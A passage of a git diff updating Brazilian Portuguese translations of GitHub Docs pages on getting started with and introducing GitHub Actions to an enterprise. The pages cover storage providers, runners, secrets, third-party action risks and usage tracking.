+O {% data variables.product.prodname_actions %} usa armazenamento do blob para armazenar artefatos gerados pelas execuções do fluxo de trabalho, como registros de fluxo de trabalho e artefatos de criação enviados pelo usuário. A quantidade de armazenamento necessária depende do seu uso de {% data variables.product.prodname_actions %}. Somente uma única configuração de armazenamento externo é compatível, e você não pode usar vários provedores de armazenamento ao mesmo tempo.
 
-{% data variables.product.prodname_actions %} supports these storage providers:
+{% data variables.product.prodname_actions %} é compatível com estes provedores de armazenamento:
 
-* Azure Blob storage
+* Armazenamento do Azure Blob
 * Amazon S3
-* S3-compatible MinIO Gateway for NAS
+* MinIO Gateway compatível com S3 para NAS
 
 {% note %}
 
-**Note:** These are the only storage providers that {% data variables.product.company_short %} supports and can provide assistance with. Other S3 API-compatible storage providers are unlikely to work due to differences from the S3 API. [Contact us](https://support.github.com/contact) to request support for additional storage providers.
+**Observação:** Estes são os únicos provedores de armazenamento com os quais {% data variables.product.company_short %} é compatível e podem fornecer ajuda. Outros provedores de armazenamento compatíveis com a API do S3 provavelmente não funcionarão devido a diferenças em relação à API do S3. [Entre em contato conosco](https://support.github.com/contact) para pedir suporte para provedores de armazenamento adicionais.
 
 {% endnote %}
 
-## Networking considerations
+## Considerações de rede
 
-{% data reusables.actions.proxy-considerations %} For more information about using a proxy with {% data variables.product.prodname_ghe_server %}, see "[Configuring an outbound web proxy server](/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server)."
+{% data reusables.actions.proxy-considerations %} Para obter mais informações sobre o uso de um proxy com {% data variables.product.prodname_ghe_server %}, consulte "[Configurando um servidor de proxy web de saída](/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server)".
 
 {% ifversion ghes %}
 
-## Enabling {% data variables.product.prodname_actions %} with your storage provider
+## Habilitar {% data variables.product.prodname_actions %} com o seu provedor de armazenamento
 
-Follow one of the procedures below to enable {% data variables.product.prodname_actions %} with your chosen storage provider:
+Siga um dos procedimentos abaixo para habilitar {% data variables.product.prodname_actions %} com o seu provedor de armazenamento escolhido:
 
-* [Enabling GitHub Actions with Azure Blob storage](/admin/github-actions/enabling-github-actions-with-azure-blob-storage)
-* [Enabling GitHub Actions with Amazon S3 storage](/admin/github-actions/enabling-github-actions-with-amazon-s3-storage)
-* [Enabling GitHub Actions with MinIO Gateway for NAS storage](/admin/github-actions/enabling-github-actions-with-minio-gateway-for-nas-storage)
+* [Habilitar o o GitHub Actions com armazenamento do Azure Blob](/admin/github-actions/enabling-github-actions-with-azure-blob-storage)
+* [Habilitar o GitHub Actions com armazenamento do Amazon S3](/admin/github-actions/enabling-github-actions-with-amazon-s3-storage)
+* [Habilitar o GitHub Actions com MinIO Gateway para armazenamento NAS](/admin/github-actions/enabling-github-actions-with-minio-gateway-for-nas-storage)
 
-## Managing access permissions for {% data variables.product.prodname_actions %} in your enterprise
+## Gerenciar as permissões de acesso para {% data variables.product.prodname_actions %} na sua empres
 
-You can use policies to manage access to {% data variables.product.prodname_actions %}. For more information, see "[Enforcing GitHub Actions policies for your enterprise](/admin/github-actions/enforcing-github-actions-policies-for-your-enterprise)."
+Você pode usar políticas para gerenciar o acesso a {% data variables.product.prodname_actions %}. Para obter mais informações, consulte "[Aplicando as políticas do GitHub Actions para sua empresa](/admin/github-actions/enforcing-github-actions-policies-for-your-enterprise)".
 
-## Adding self-hosted runners
+## Adicionar executores auto-hospedados
 
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-To run {% data variables.product.prodname_actions %} workflows, you need to add self-hosted runners. You can add self-hosted runners at the enterprise, organization, or repository levels. For more information, see "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)."
+Para executar fluxos de trabalho de {% data variables.product.prodname_actions %}, você deve adicionar executores auto-hospedados. Você pode adicionar executores auto-hospedados nos níveis da empresa, organização ou repositório. Para obter mais informações, consulte "[Adicionando executores auto-hospedados](/actions/hosting-your-own-runners/adding-self-hosted-runners)".
 
-## Managing which actions can be used in your enterprise
+## Gerenciar quais ações podem ser usadas na sua empresa
 
-You can control which actions your users are allowed to use in your enterprise. This includes setting up {% data variables.product.prodname_github_connect %} for automatic access to actions from {% data variables.product.prodname_dotcom_the_website %}, or manually syncing actions from {% data variables.product.prodname_dotcom_the_website %}.
+Você pode controlar quais ações os usuários têm permissão para usar na sua empresa. Isso inclui a configuração de {% data variables.product.prodname_github_connect %} para acesso automático às ações de {% data variables.product.prodname_dotcom_the_website %}, ou a sincronização manual das ações de {% data variables.product.prodname_dotcom_the_website %}.
 
-For more information, see "[About using actions in your enterprise](/admin/github-actions/about-using-actions-in-your-enterprise)."
+Para obter mais informações, consulte "[Sobre o uso de ações na sua empresa](/admin/github-actions/about-using-actions-in-your-enterprise)".
 
 {% data reusables.actions.general-security-hardening %}
 
 {% endif %}
 
-## Reserved Names
+## Nomes reservados
 
-When you enable {% data variables.product.prodname_actions %} for your enterprise, two organizations are created: `github` and `actions`. If your enterprise already uses the `github` organization name, `github-org` (or `github-github-org` if `github-org` is also in use) will be used instead. If your enterprise already uses the `actions` organization name, `github-actions` (or `github-actions-org` if `github-actions` is also in use) will be used instead. Once actions is enabled, you won't be able to use these names anymore.
+Ao habilitar {% data variables.product.prodname_actions %} para a sua empresa, serão criadas duas organizações: `github` e `actions`. Se sua empresa já usa o nome da organização `github`, `github-org` (ou `github-github-org` se `github-org` também estiver em uso) será usado. Se sua empresa já usa o nome da organização `actions`, `github-actions` (ou `github-actions-org` se `github-actions` também estiver em uso) será usado. Uma vez que as ações são habilitadas, você não poderá usar mais esses nomes.
diff --git a/translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md b/translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md
index 7a7069a145..94c2f05c7b 100644
--- a/translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md
+++ b/translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md
@@ -1,6 +1,6 @@
 ---
-title: Getting started with GitHub Actions for your enterprise
-intro: "Learn how to adopt {% data variables.product.prodname_actions %} for your enterprise."
+title: Primeiros passos com o GitHub Actions para a sua empresa
+intro: 'Aprenda a adotar {% data variables.product.prodname_actions %} para a sua empresa.'
 versions:
   ghec: '*'
   ghes: '*'
@@ -14,6 +14,6 @@ children:
   - /getting-started-with-github-actions-for-github-enterprise-cloud
   - /getting-started-with-github-actions-for-github-enterprise-server
   - /getting-started-with-github-actions-for-github-ae
-shortTitle: Get started
+shortTitle: Começar
 ---
 
diff --git a/translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md b/translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md
index 126b397d3a..1c4fa1c83a 100644
--- a/translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md
+++ b/translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md
@@ -1,7 +1,7 @@
 ---
-title: Introducing GitHub Actions to your enterprise
-shortTitle: Introduce Actions
-intro: "You can plan how to roll out {% data variables.product.prodname_actions %} in your enterprise."
+title: Apresentando o GitHub Actions à sua empresa
+shortTitle: Introduzir ações
+intro: 'Você pode planejar como implantar {% data variables.product.prodname_actions %} na sua empresa.'
 versions:
   ghec: '*'
   ghes: '*'
@@ -12,96 +12,96 @@ topics:
   - Enterprise
 ---
 
-## About {% data variables.product.prodname_actions %} for enterprises
+## Sobre {% data variables.product.prodname_actions %} para empresas
 
-{% data reusables.actions.about-actions %} With {% data variables.product.prodname_actions %}, your enterprise can automate, customize, and execute your software development workflows like testing and deployments. For more information about the basics of {% data variables.product.prodname_actions %}, see "[Understanding {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions)."
+{% data reusables.actions.about-actions %} com {% data variables.product.prodname_actions %}, sua empresa pode automatizar, personalizar e executar seus fluxos de trabalho de desenvolvimento de software como testes e implantações. Para obter mais informações sobre os princípios básicos de {% data variables.product.prodname_actions %}, consulte "[Compreendendo {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions)".
 
-![Diagram of jobs running on self-hosted runners](/assets/images/help/images/actions-enterprise-overview.png)
+![Diagrama de trabalhos em execução em executores auto-hospedados](/assets/images/help/images/actions-enterprise-overview.png)
 
 {% data reusables.enterprise.upgrade-ghes-for-actions %}
 
-Before you introduce {% data variables.product.prodname_actions %} to a large enterprise, you first need to plan your adoption and make decisions about how your enterprise will use {% data variables.product.prodname_actions %} to best support your unique needs.
+Antes de apresentar {% data variables.product.prodname_actions %} a uma grande empresa, primeiro você precisa planejar sua adoção e tomar decisões sobre como sua empresa usará {% data variables.product.prodname_actions %} para melhor atender às suas necessidades exclusivas.
 
-## Governance and compliance
+## Governança e conformidade
 
-You should create a plan to govern your enterprise's use of {% data variables.product.prodname_actions %} and meet your compliance obligations.
+Você deve criar um plano para reger o uso de {% data variables.product.prodname_actions %} da empresa e cumprir suas obrigações de conformidade.
 
-Determine which actions your developers will be allowed to use. {% ifversion ghes %}First, decide whether you'll enable access to actions from outside your instance. {% data reusables.actions.access-actions-on-dotcom %} For more information, see "[About using actions in your enterprise](/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise)."
+Determine quais ações seus desenvolvedores terão permissão para usar. {% ifversion ghes %}Primeiro, decida se você irá permitir o acesso a ações de fora de sua instância. {% data reusables.actions.access-actions-on-dotcom %} Para obter mais informações, consulte "[Sobre o uso de ações na sua empresa](/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise)".
 
-Then,{% else %}First,{% endif %} decide whether you'll allow third-party actions that were not created by {% data variables.product.company_short %}. You can configure the actions that are allowed to run at the repository, organization, and enterprise levels and can choose to only allow actions that are created by {% data variables.product.company_short %}. If you do allow third-party actions, you can limit allowed actions to those created by verified creators or a list of specific actions. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#managing-github-actions-permissions-for-your-repository)", "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#managing-github-actions-permissions-for-your-organization)", and "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-to-restrict-the-use-of-actions-in-your-enterprise)."
+Em seguida,{% else %}Primeiro,{% endif %} decida se você permitirá ações de terceiros que não foram criadas por {% data variables.product.company_short %}. Você pode configurar as ações que podem ser executadas nos níveis do repositório, organização e empresa e você pode optar por permitir apenas ações que são criadas por {% data variables.product.company_short %}. Se você permitir ações de terceiros, você poderá limitar as ações permitidas para aquelas criadas por criadores verificados ou uma lista de ações específicas. Para obter mais informações, consulte "[Gerenciando configurações de {% data variables.product.prodname_actions %} para um repositório](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#managing-github-actions-permissions-for-your-repository)", "[Desabilitando ou limitando {% data variables.product.prodname_actions %} para a sua organização](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#managing-github-actions-permissions-for-your-organization)", e "[Aplicando políticas para {% data variables.product.prodname_actions %} na sua empresa](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-to-restrict-the-use-of-actions-in-your-enterprise)."
 
-![Screenshot of {% data variables.product.prodname_actions %} policies](/assets/images/help/organizations/enterprise-actions-policy.png)
+![Captura de tela das políticas de {% data variables.product.prodname_actions %}](/assets/images/help/organizations/enterprise-actions-policy.png)
 
 {% ifversion ghec or ghae-issue-4757-and-5856 %}
-Consider combining OpenID Connect (OIDC) with reusable workflows to enforce consistent deployments across your repository, organization, or enterprise. You can do this by defining trust conditions on cloud roles based on reusable workflows. For more information, see "[Using OpenID Connect with reusable workflows](/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows)."
+Considere combinar o OpenID Connect (OIDC) com fluxos de trabalho reutilizáveis para aplicar implantações consistentes no seu repositório, organização ou empresa. Você pode fazer isso definindo condições de confiança nas funções da nuvem com base em fluxos de trabalho reutilizáveis. Para obter mais informações, consulte "["Usando o OpenID Connect com fluxos de trabalho reutilizáveis"](/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows).
 {% endif %}
 
-You can access information about activity related to {% data variables.product.prodname_actions %} in the audit logs for your enterprise. If your business needs require retaining audit logs for longer than six months, plan how you'll export and store this data outside of {% data variables.product.prodname_dotcom %}. For more information, see {% ifversion ghec %}"[Streaming the audit logs for organizations in your enterprise](/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account)."{% else %}"[Searching the audit log](/admin/user-management/monitoring-activity-in-your-enterprise/searching-the-audit-log)."{% endif %}
+Você pode acessar informações sobre atividades relacionadas ao {% data variables.product.prodname_actions %} nos logs de auditoria da sua empresa. Se a sua empresa tiver de manter os logs de auditoria por mais de seis meses, planeje como você exportará e armazenará esses dados fora de {% data variables.product.prodname_dotcom %}. Para obter mais informações, consulte {% ifversion ghec %}"[Transmitindo os logs de auditoria na sua empresa](/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account)."{% else %}"[Pesquisando o log de auditoria](/admin/user-management/monitoring-activity-in-your-enterprise/searching-the-audit-log)."{% endif %}
 
-![Audit log entries](/assets/images/help/repository/audit-log-entries.png)
+![Entradas do log de auditoria](/assets/images/help/repository/audit-log-entries.png)
 
-## Security
+## Segurança
 
-You should plan your approach to security hardening for {% data variables.product.prodname_actions %}.
+Você deve planejar sua abordagem do fortalecimento da segurança para {% data variables.product.prodname_actions %}.
 
-### Security hardening individual workflows and repositories
+### Fortalecimento da segurança dos fluxos de trabalho individuais e repositórios
 
-Make a plan to enforce good security practices for people using {% data variables.product.prodname_actions %} features within your enterprise. For more information about these practices, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions)."
+Faça um plano para aplicar as práticas recmendadas de segurança para as pessoas que usam as funcionalidades de {% data variables.product.prodname_actions %} na sua empresa. Para obter mais informações sobre essas práticas, consulte "[Fortalecimento da segurança para {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions)".
 
-You can also encourage reuse of workflows that have already been evaluated for security. For more information, see "[Innersourcing](#innersourcing)."
+Também é possível incentivar a reutilização de fluxos de trabalho que já foram avaliados para a segurança. Para obter mais informações, consulte "[Innersourcing](#innersourcing)".
 
-### Securing access to secrets and deployment resources
+### Protegendo o acesso a segredos e recursos de implantação
 
-You should plan where you'll store your secrets. We recommend storing secrets in {% data variables.product.prodname_dotcom %}, but you might choose to store secrets in a cloud provider.
+Você deveria planejar onde você armazenará seus segredos. Recomendamos armazenar segredos em {% data variables.product.prodname_dotcom %}, mas você pode optar por armazenar segredos em um provedor de nuvem.
 
-In {% data variables.product.prodname_dotcom %}, you can store secrets at the repository or organization level. Secrets at the repository level can be limited to workflows in certain environments, such as production or testing. For more information, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)."
+Em {% data variables.product.prodname_dotcom %}, você pode armazenar segredos no nível do repositório ou da organização. Os segredos no nível do repositório podem estar limitados a fluxos de trabalho em certos ambientes, como produção ou teste. Para obter mais informações, consulte "[Segredos criptografados](/actions/security-guides/encrypted-secrets)".
 
-![Screenshot of a list of secrets](/assets/images/help/settings/actions-org-secrets-list.png)
+![Captura de tela de uma lista de segredos](/assets/images/help/settings/actions-org-secrets-list.png)
 {% ifversion fpt or ghes > 3.0 or ghec or ghae %}
-You should consider adding manual approval protection for sensitive environments, so that workflows must be approved before getting access to the environments' secrets. For more information, see "[Using environments for deployments](/actions/deployment/targeting-different-environments/using-environments-for-deployment)."{% endif %}
+Você deve considerar adicionar proteção manual de aprovação para ambientes sensíveis, para que os fluxos de trabalho devam ser aprovados antes de ter acesso aos segredos do ambiente. Para obter mais informações, consulte "[Usando ambientes para implantações](/actions/deployment/targeting-different-environments/using-environments-for-deployment)".{% endif %}
 
-### Security considerations for third-party actions
+### Considerações de segurança para ações de terceiros
 
-There is significant risk in sourcing actions from third-party repositories on {% data variables.product.prodname_dotcom %}. If you do allow any third-party actions, you should create internal guidelines that encourage your team to follow best practices, such as pinning actions to the full commit SHA. For more information, see "[Using third-party actions](/actions/security-guides/security-hardening-for-github-actions#using-third-party-actions)."
+Há um risco significativo em fornecer de ações de repositórios de terceiros no {% data variables.product.prodname_dotcom %}. Se você permitir ações de terceiros, você deverá criar diretrizes internas que incentivama sua equipe a seguir as práticas recomendadas como, por exemplo, fixar ações para o SHA completo do commit. Para obter mais informações, consulte "[Usando ações de terceiros](/actions/security-guides/security-hardening-for-github-actions#using-third-party-actions)".
 
 ## Innersourcing
 
-Think about how your enterprise can use features of {% data variables.product.prodname_actions %} to innersource workflows. Innersourcing is a way to incorporate the benefits of open source methodologies into your internal software development cycle. For more information, see [An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/) in {% data variables.product.company_short %} Resources.
+Pense em como sua empresa pode usar funcionalidades de {% data variables.product.prodname_actions %} para gerar fluxos de trabalho. Innersourcing é uma maneira de incorporar os benefícios das metodologias de código aberto no seu ciclo de desenvolvimento de software interno. Para obter mais informações, consulte [Uma introdução ao innersource ](https://resources.github.com/whitepapers/introduction-to-innersource/) nos recursos de{% data variables.product.company_short %}.
 
 {% ifversion ghec or ghes > 3.3 or ghae-issue-4757 %}
-With reusable workflows, your team can call one workflow from another workflow, avoiding exact duplication. Reusable workflows promote best practice by helping your team use workflows that are well designed and have already been tested. For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."
+Com fluxos de trabalho reutilizáveis, a sua equipe pode chamar um fluxo de trabalho a partir de outro fluxo de trabalho, evitando duplicação exata. Os fluxos de trabalho reutilizáveis promovem práticas recomendadas, ajudando a sua equipe a usar os fluxos de trabalho bem desenhados e que já foram testados. Para obter mais informações, consulte "[Reutilizando fluxos de trabalho](/actions/learn-github-actions/reusing-workflows)".
 {% endif %}
 
-To provide a starting place for developers building new workflows, you can use starter workflows. This not only saves time for your developers, but promotes consistency and best practice across your enterprise. For more information, see "[Creating starter workflows for your organization](/actions/learn-github-actions/creating-starter-workflows-for-your-organization)."
+Para fornecer um ponto de partida para os desenvolvedores que desenvolvem novos fluxos de trabalho, você pode usar fluxos de trabalho iniciais. Isso não só poupa tempo para seus desenvolvedores, mas promove a consistência e as práticas práticas recomendadas na sua empresa. Para obter mais informações, consulte "[Criando fluxos de trabalho iniciais para a sua organização](/actions/learn-github-actions/creating-starter-workflows-for-your-organization)".
 
-Whenever your workflow developers want to use an action that's stored in a private repository, they must configure the workflow to clone the repository first. To reduce the number of repositories that must be cloned, consider grouping commonly used actions in a single repository. For more information, see "[About custom actions](/actions/creating-actions/about-custom-actions#choosing-a-location-for-your-action)."
+Sempre que seus desenvolvedores de fluxo de trabalho quiserem usar uma ação que seja armazenada em um repositório privado, eles deverão configurar o fluxo de trabalho para clonar o repositório primeiro. Para reduzir o número de repositórios que devem ser clonados, considere agrupar ações comumente usadas em um único repositório. Para obter mais informações, consulte "[Sobre ações personalizadas](/actions/creating-actions/about-custom-actions#choosing-a-location-for-your-action)".
 
-## Managing resources
+## Gerenciando recursos
 
-You should plan for how you'll manage the resources required to use {% data variables.product.prodname_actions %}.
+Você deve planejar como você gerenciará os recursos necessários para usar o {% data variables.product.prodname_actions %}.
 
-### Runners
+### Executores
 
-{% data variables.product.prodname_actions %} workflows require runners.{% ifversion ghec %} You can choose to use {% data variables.product.prodname_dotcom %}-hosted runners or self-hosted runners. {% data variables.product.prodname_dotcom %}-hosted runners are convenient because they are managed by {% data variables.product.company_short %}, who handles maintenance and upgrades for you. However, you may want to consider self-hosted runners if you need to run a workflow that will access resources behind your firewall or you want more control over the resources, configuration, or geographic location of your runner machines. For more information, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)" and "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."{% else %} You will need to host your own runners by installing the {% data variables.product.prodname_actions %} self-hosted runner application on your own machines. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."{% endif %}
+Os fluxos de trabalho de {% data variables.product.prodname_actions %}} exigem executores.{% ifversion ghec %} Você pode escolher usar executores hospedados em {% data variables.product.prodname_dotcom %} ou executores auto-hospedados. Os executores hospedados em {% data variables.product.prodname_dotcom %} são convenientes porque são gerenciados por {% data variables.product.company_short %}, que administram a manutenção e atualizações para você. No entanto você deverá considerar os executores auto-hospedados se você precisar executar um fluxo de trabalho que terá acesso aos recursos por trás de seu firewall ou você quiser ter mais controle sobre os recursos, configuração, ou localização geográfica das máquinas dos seus executores. Para obter mais informações, consulte "[Sobre executores hospedados em {% data variables.product.prodname_dotcom %}](/actions/using-github-hosted-runners/about-github-hosted-runners)" e "[Sobre executores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners).{% else %} Você deverá hospedar seus próprios executores instalando o aplicativo de executor auto-hospedado em {% data variables.product.prodname_actions %} nas suas próprias máquinas. Para obter mais informações, consulte "[Sobre executores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners)."{% endif %}
 
-{% ifversion ghec %}If you are using self-hosted runners, you have to decide whether you want to use physical machines, virtual machines, or containers.{% else %}Decide whether you want to use physical machines, virtual machines, or containers for your self-hosted runners.{% endif %} Physical machines will retain remnants of previous jobs, and so will virtual machines unless you use a fresh image for each job or clean up the machines after each job run. If you choose containers, you should be aware that the runner auto-updating will shut down the container, which can cause workflows to fail. You should come up with a solution for this by preventing auto-updates or skipping the command to kill the container.
+{% ifversion ghec %}Se você estiver usando executores auto-hospedados, você deverá decidir se você quer usar máquinas físicas, máquinas virtuais ou contêineres.{% else %}Decida se você deseja usar máquinas físicas, máquinas virtuais ou contêineres para seus executores auto-hospedados.{% endif %} As máquinas físicas reterão vestígios de trabalhos anteriores assim como as máquinas virtuais, a menos que você use uma nova imagem para cada trabalho ou limpe as máquinas após a execução de cada trabalho. Se você escolher contêineres, você deverá estar ciente de que a atualização automática do executor irá desligar o container, o que pode gerar falha nos fluxos de trabalho. Você deve encontrar uma solução para isso, impedindo atualizações automáticas ou ignorando o comando para matar o contêiner.
 
-You also have to decide where to add each runner. You can add a self-hosted runner to an individual repository, or you can make the runner available to an entire organization or your entire enterprise. Adding runners at the organization or enterprise levels allows sharing of runners, which might reduce the size of your runner infrastructure. You can use policies to limit access to self-hosted runners at the organization and enterprise levels by assigning groups of runners to specific repositories or organizations. For more information, see "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)" and "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)."
+Você também deverá decidir onde adicionar cada executor. Você pode adicionar um executor auto-hospedado a um repositório individual, ou você pode disponibilizar o executor para toda uma organização ou empresa. Adicionar runners aos níveis da organização ou empresa permite compartilhar executores, o que pode reduzir o tamanho da infraestrutura de executores. Você pode usar políticas para limitar o acesso a executores auto-hospedados a nível da organização e da empresa atribuindo grupos de executores a repositórios ou organizações específicas. Para obter mais informações, consulte "[Adicionando executores auto-hospedados](/actions/hosting-your-own-runners/adding-self-hosted-runners)" e "[Gerenciando acesso a executores auto-hospedados usando grupos](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)".
 
 {% ifversion ghec or ghes > 3.2 %}
-You should consider using autoscaling to automatically increase or decrease the number of available self-hosted runners. For more information, see "[Autoscaling with self-hosted runners](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners)."
+Você deve considerar usar o dimensionamento automático para aumentar ou diminuir automaticamente o número de executores auto-hospedados disponíveis. Para obter mais informações, consulte "[Dimensionamento automático com executores auto-hospedados](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners)".
 {% endif %}
 
-Finally, you should consider security hardening for self-hosted runners. For more information, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#hardening-for-self-hosted-runners)."
+Finalmente, você deve considerar o fortalecimento da segurança para os executores auto-hospedados. Para obter mais informações, consulte "[Fortalecimento da segurança para {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#hardening-for-self-hosted-runners)".
 
-### Storage
+### Armazenamento
 
-{% data reusables.actions.about-artifacts %} For more information, see "[Storing workflow data as artifacts](/actions/advanced-guides/storing-workflow-data-as-artifacts)."
+{% data reusables.actions.about-artifacts %} Para obter mais informações, consulte "[Armazenar dados do fluxo de trabalho como artefatos](/actions/advanced-guides/storing-workflow-data-as-artifacts)".
 
-![Screenshot of artifact](/assets/images/help/repository/passing-data-between-jobs-in-a-workflow-updated.png)
+![Captura de tela do artefato](/assets/images/help/repository/passing-data-between-jobs-in-a-workflow-updated.png)
 
 {% ifversion ghes %}
-You must configure external blob storage for these artifacts. Decide which supported storage provider your enterprise will use. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.product_name %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#external-storage-requirements)."
+Você deve configurar o armazenamento externo de blob para estes artefatos. Escolha qual provedor de armazenamento compatível a sua empresa irá usar. Para obter mais informações, consulte "[Primeiros passos com {% data variables.product.prodname_actions %} para {% data variables.product.product_name %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#external-storage-requirements)".
 {% endif %}
 
 {% ifversion ghec or ghes %}
@@ -110,21 +110,21 @@ You must configure external blob storage for these artifacts. Decide which suppo
 
 {% endif %}
 
-If you want to retain logs and artifacts longer than the upper limit you can configure in {% data variables.product.product_name %}, you'll have to plan how to export and store the data.
+Se você quiser manter registros e artefatos maiores que o limite superior que você pode configurar em {% data variables.product.product_name %}, você terá que planejar como exportar e armazenar os dados.
 
 {% ifversion ghec %}
-Some storage is included in your subscription, but additional storage will affect your bill. You should plan for this cost. For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)."
+Um certo nível armazenamento está incluído na sua assinatura, mas o armazenamento adicional afetará o seu pagamento. Você deveria preparar-se para este custo. Para obter mais informações, consulte "[Sobre a cobrança do {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)."
 {% endif %}
 
-## Tracking usage
+## Monitorando o uso
 
-You should consider making a plan to track your enterprise's usage of {% data variables.product.prodname_actions %}, such as how often workflows are running, how many of those runs are passing and failing, and which repositories are using which workflows.
+Você deve considerar fazer um plano para monitorar o uso de {% data variables.product.prodname_actions %} da sua empresa como, por exemplo, a frequência com que os fluxos de trabalho estão sendo executados, quantas dessas execuções estão passando e falhando, e quais repositórios estão usando quais fluxos de trabalho.
 
 {% ifversion ghec %}
-You can see basic details of storage and data transfer usage of {% data variables.product.prodname_actions %} for each organization in your enterprise via your billing settings. For more information, see "[Viewing your {% data variables.product.prodname_actions %} usage](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage#viewing-github-actions-usage-for-your-enterprise-account)."
+Você pode ver informações básicas sobre o uso de transferência de dados e armazenamento de {% data variables.product.prodname_actions %} para cada organização da sua empresa por meio das suas configurações de cobrança. Para obter mais informações, consulte "[Visualizar o uso do seu {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage#viewing-github-actions-usage-for-your-enterprise-account)".
 
-For more detailed usage data, you{% else %}You{% endif %} can use webhooks to subscribe to information about workflow jobs and workflow runs. For more information, see "[About webhooks](/developers/webhooks-and-events/webhooks/about-webhooks)."
+Para dados de uso mais detalhados, você{% else %}{% endif %} pode usar webhooks para assinar informações sobre trabalhos de fluxo de trabalho e execução de fluxo de trabalho. Para obter mais informações, consulte "[Sobre webhooks](/developers/webhooks-and-events/webhooks/about-webhooks)".
 
-Make a plan for how your enterprise can pass the information from these webhooks into a data archiving system. You can consider using "CEDAR.GitHub.Collector", an open source tool that collects and processes webhook data from {% data variables.product.prodname_dotcom %}. For more information, see the [`Microsoft/CEDAR.GitHub.Collector` repository](https://github.com/microsoft/CEDAR.GitHub.Collector/).
+Faça um plano de como sua empresa pode passar as informações desses webhooks para um sistema de arquivamento de dados. Você pode considerar usar "CEDAR.GitHub.Collector", uma ferramenta de código aberto que coleta e processa dados de webhook a partir de {% data variables.product.prodname_dotcom %}. Para obter mais informações, consulte o repositório [`Microsoft/CEDAR.GitHub.Collector`](https://github.com/microsoft/CEDAR.GitHub.Collector/).
 
-You should also plan how you'll enable your teams to get the data they need from your archiving system.
+Você também deve planejar como permitir que suas equipes obtenham os dados de que precisam no seu sistema de arquivamento.
diff --git a/translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md b/translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md
index 2936f4d27f..1414c3809e 100644
--- a/translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md
+++ b/translations/pt-BR/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md
@@ -1,7 +1,7 @@
 ---
-title: Migrating your enterprise to GitHub Actions
-shortTitle: Migrate to Actions
